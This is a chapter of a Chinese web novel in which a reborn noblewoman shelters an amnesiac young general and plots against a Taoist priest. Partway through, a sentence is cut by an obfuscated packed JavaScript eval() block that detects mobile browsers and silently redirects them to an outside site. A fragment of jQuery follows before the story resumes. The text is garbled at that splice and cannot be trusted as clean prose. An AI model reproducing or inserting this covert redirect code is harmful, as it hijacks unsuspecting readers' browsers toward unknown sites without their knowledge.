裴允晏的眼神格外温柔,眼中明亮得仿佛阳光下的河水,却将温云琛吓得不轻。
她与裴允晏只有两面之缘,上一次见他还是凶神恶煞的煞神,这回一睁眼便这副样子,反差大的她有些招架不住。
“淑女很美,”裴允晏还虚弱着,嗓音沙哑,吐出的字大多都是气音,“声音也很好听。”
温云琛:“……”
她不知道刚醒就夸人是什么毛病,同时意识到自己手腕还在裴允晏手里,连忙抽出来:“谢谢……”
“嘶——”裴允晏的手握得太紧,温云琛这一动就牵动了伤口,他倒吸一口凉气,问,“……是淑女救了我吗?”
“是我,”温云琛答应下来,出于礼节,和裴允晏保持了一定的距离,“你受了很重的伤,晕倒在了我马车边。”
随即,裴允晏绽开一个更为灿烂的笑容,灿烂到实在无邪得厉害:“淑女是我的救命恩人,我以后便跟着淑女了。”
温云琛:“……”
“淑女心善,以后我都听你话,好不好?”
“……?”
短暂的惊愕后,温云琛先是掐了自己一把,感受到疼痛后又伸手摸了摸裴允晏的额头,温度正常。
裴允晏还有些不好意思地触摸着额头上温云琛触摸过的地方。
温云琛毫不犹豫地立刻转身叫人:“沉墨?沉墨!”
“女公子,我在。”
“把郎中叫回来,快点!”
这莫不是个庸医,把人给治傻了?
不是煞神吗,怎么变成小猫咪了??
郎中被风尘仆仆地接回来时,人还是懵的,望闻问切后松了一口气,道:“公子已无大碍,只是醒的太快,冲到脑子了。”
“?”温云琛以为自己听错了,问,“什么意思?”
“在下早就说这公子不是寻常人,这种程度的伤,按理说没个三五日是醒不来的,虽说醒来就没事了,但公子性子太急,醒得快了,身体并未恢复,就造成了短暂的失忆。”
……失忆了?
温云琛惊讶地看向一旁乖乖躺着的裴允晏,很快接受了这个说法。
不然昏迷几个时辰就转了性子,实在离谱。
但为了早点醒来就给自己整失忆了,也是闻所未闻。
温云琛面色复杂地看着裴允晏,后者只是回给她一个灿烂的笑容。
“您看这失忆之症多久能好?”
总这么一脸灿烂的,实在像先天不足导致的弱智,少年将军威风凛凛的脸全丢完了。
似乎看穿了温云琛的想法,郎中斟酌道:“这个不一定,有可能三日,也有可能是三个月,全看公子自己的造化,不过三个月必定恢复了……呃,而且公子这个失忆只是忘记了一些事情,性格心智已然成熟,他可能天生就爱笑。”
温云琛心说,你要是知道他是谁,你就不会说他天生爱笑了。
再次把郎中送走,温云琛坐在床边小凳上跟裴允晏干瞪眼。
不是说杀人不眨眼的阎罗煞神吗,怎么人后是个这么清纯爱笑的?
裴允晏极为无辜地轻眨了下眼睛:“淑女还没回应我之前的话呢,我以后都跟着你,好不好?”
想到这个,温云琛就头大。
她耐下性子,小心温柔地询问:“你还记得自己是谁吗?”
裴允晏想了想,摇头。
“你记得自己怎么受伤的吗?”
摇头。
温云琛无奈:“那你记得什么?”
沉吟片刻,裴允晏说:“我只记得昏迷前见到了淑女,醒来见到的也是你,知道是淑女救了我,其他一概不记得。”
好嘛,忘了个一干二净。
“你叫裴允晏,”温云琛慢慢说着,“你是我们大宁的武将,裴府少将军,你阿父裴牧官拜太尉,乃是同先帝一起打江山的功臣。”
“噢……”裴允晏若有所思,又问:“那淑女是什么人?”
“我……”正要回答,温云琛突然想使个坏,狡黠道,“我是你心上人。”
本以为裴允晏不会轻易相信,谁知道他接受得格外快,直接点头:“我就知道,一定是!”
……?
不不不,怎会有人这么容易相信陌生人的话??
看着裴允晏近乎一脸甜蜜的样子,温云琛忍住不去揍他,叹出一口气:“我叫温云琛,我阿父乃汾武侯,虽是世家出身的将军,但官职并没你高,我甚至从前没见过你,你跟着我算怎么回事?”
“这有何不合适的?”裴允晏丝毫不在意,“只要我觉得合适就好啊,就算我是什么厉害的将军,不还是靠淑女心善一救才捡回一条命吗?”
温云琛哽住,没想到他竟然会这么反驳她的话。接着,温云琛又给裴允晏讲了一些她听护卫说的他的近况,不过对方没有恢复记忆的迹象。
温云琛不放心,说:“你都回到了京城,若不回府去,裴太尉怕是会着急。”
裴允晏半晌没说话,只是慢慢地用手指敲击着床沿,似乎在思考。
温云琛眼光一动,这人想事情时的动作,怎么和她这么像?
“我觉得我现在不能回去,”思考许久,裴允晏斩钉截铁地给出了答案,“既然我此刻应该在前方打仗,若战况紧急,我必定会亲自留在战场上,不会独自一人回来,只能说明战况已经稳定,并无异常。”
“我总觉得自己是去做了什么别的事,才受了重伤,回京城来也能说明前方战事无碍。”
温云琛顺着他的话想了想,觉得有理:“那你想得起来是去做什么别的事吗?”
“想不起来,”裴允晏遗憾地摇摇头,“也许和我家中有些关系,说不定我回来是要给家中报信。”
虽然确实是她把裴允晏捡了回来,但温云琛还是觉得对方说的有点多了,不是她能听的。
不过仔细回忆了一下前世,这个时间京城中一切安定,往后很长一段时间也没有紧急战报,边关安宁。
裴允晏只是做了和前世一样的事,说明他从前这个时候也受了伤,大概率是被裴府的人捡回去了。
主将私自回京是大罪,裴太尉必定不可能透露儿子回京的消息,只能是放在家中静养,等大军回京时再让裴允晏折回和他们一起。
这么想着,似乎暂时把裴允晏带在身边也未尝不可。
他此刻不愿回家,铁了心要跟着自己“报恩”,正好趁此机会能还一些从前的恩情,只是……
正要说话,温云琛突然觉得周围气息不太对劲,一抬眸,就见裴允晏不知什么时候已经挣扎着坐起来,那张俊脸这会儿和她只有不到一臂的距离,呼吸近在咫尺。
温云琛忘了躲闪,只怔怔地看着他,连呼吸都忘了:“你……干什么?”
“淑女的眼睫真好看,”裴允晏笑起来,露出虎牙,“我从没见过淑女这样美的女娘。”
温云琛笑了:“是因为裴少将军见的女娘少吧?”
整天都在战场上,都没多少机会见着京城这些一抓一大把的贵女。
裴允晏连忙说:“不不不,我见过很多呢,都是些庸脂俗粉,不像淑女……淑女像仙女一样,我一眼看过去只能看到你。”
不知道这家伙是为了跟着她专门甜言蜜语还是怎么,不管是哪种,温云琛承认,她很是受用。
啊,想来,自己之前活了二十年,竟然都没动过一次心……
“好吧,我同意你跟着我,”温云琛清清嗓子,端正坐着说道,“只是你得修书一封,我找人送回裴府,让你家中知道你一切都好。”
若能得太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583741|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尉一份人情,日后说不定大有用处。
“没问题!”裴允晏眼睛亮了亮,“纸笔呢?我即刻就写!”
“我找侍女给你拿……只是你这样随便跟着我也不是个事,”温云琛撑着下巴,黛眉一挑,计上心头,“得给你安排个身份。”
裴允晏眼睛更亮了。
温云琛:“你当我近身侍卫怎么样?”
普通护卫当然不行,不仅抛头露面,温云琛还时常见不到,总归不放心。近身侍从就不一样了,除了方便交流,说不定还真能保护一下她。
只是身份落差这么大,不知道他会不会……
“好啊好啊!”裴允晏根本没有犹豫,一下答应了下来,“只要可以离淑女近一点,什么都好!”
温云琛松了一口气,站起身来:“好,那你好生休养,今日天色不早,我还有些别的事,先走了。”
看着温云琛远去,裴允晏心中心绪纷乱,小鹿乱撞。
在他混乱的记忆里,似乎有一位亲人说过——
他有一天赐良缘,性温良,居高可相见。
想到昏死在马车前时,温云琛高高看过来那一眼,居高相见……少女的明媚温良瞬间映进了他心中的深不见底的井。
一定就是她,一定!
——
刚一出门,温云琛便见沉墨一脸复杂,问道:“怎么了?”
“女公子,有句话沉墨不知当不当讲,”沉墨纠结了许久,终于说,“裴少将军杀伐重,家主虽也是武将,但不会喜欢裴少将军这般杀人不眨眼的杀伐者。”
“阿父不喜欢怎么了?”温云琛琢磨了一会儿,这才意识到沉墨的意思,很快嗔道,“想什么呢!我对裴允晏不是那种心思,就是……之前有些纠葛,想报个恩。”
沉墨:“?”
你俩到底是谁该报恩?
“哎呀,总之——我只是暂时收留他,帮他治伤,仅此而已。”
温云琛确实没有这个想法,虽然曾经听裴允晏说过他浓重的心意,但她并不了解裴允晏,更不可能因为一段告白便倾心。
更重要的是,这一世重来,还不知道裴允晏的心意会不会同之前一样,一切都是未知。
“这样,奴婢就放心了,”沉墨松了口气,随后道,“女公子,您让我找的那名梁道人,我找到了。”
刚进入临安祠,温云琛便吩咐沉墨去暗中找前世那名毁她容的梁道人,那人太阳穴处有一朱痣,很好辨认。
找到他,盯着他,温云琛才有办法出手。
“很好,我们明日便演一出戏。”
温云琛勾起笑容,抬头看了看遮蔽阳光的大树。
从前都是她做丑角,如今,轮到她做台后的木偶师,且看木偶们如何鸡飞狗跳。
——
傍晚,阴云密布,天厚得快要下雨。
裴太尉刚与同僚议完事,正要回府,就有一面生的小厮拦住他的路,递给他一封书信:“裴大人,公子来信。”
纵横沙场多年的老将瞬间警觉,往常都是飞鸽传信,这次怎么……
“盯着他,看他是谁的人。”
吩咐给手下这一句,裴太尉回到府中,快步走回房间,打开书信,只见上面只草草写着几个字,宛若狗爬,一看就是他儿左手之杰作。
左手写信,是他一早和裴允晏约好的通信方式,毕竟这次行动太险。
但……
“儿没事,十分安全,嘿嘿。”
裴太尉:“?”
……不是暗中剿灭乱党吗?乱党的消息呢?谁问你有事没事了??
很快,追踪小厮的护卫来报:“大人,那人直接去了城南临安祠,但属下认出那是温府的护卫。”
温府?
温府有谁在啊?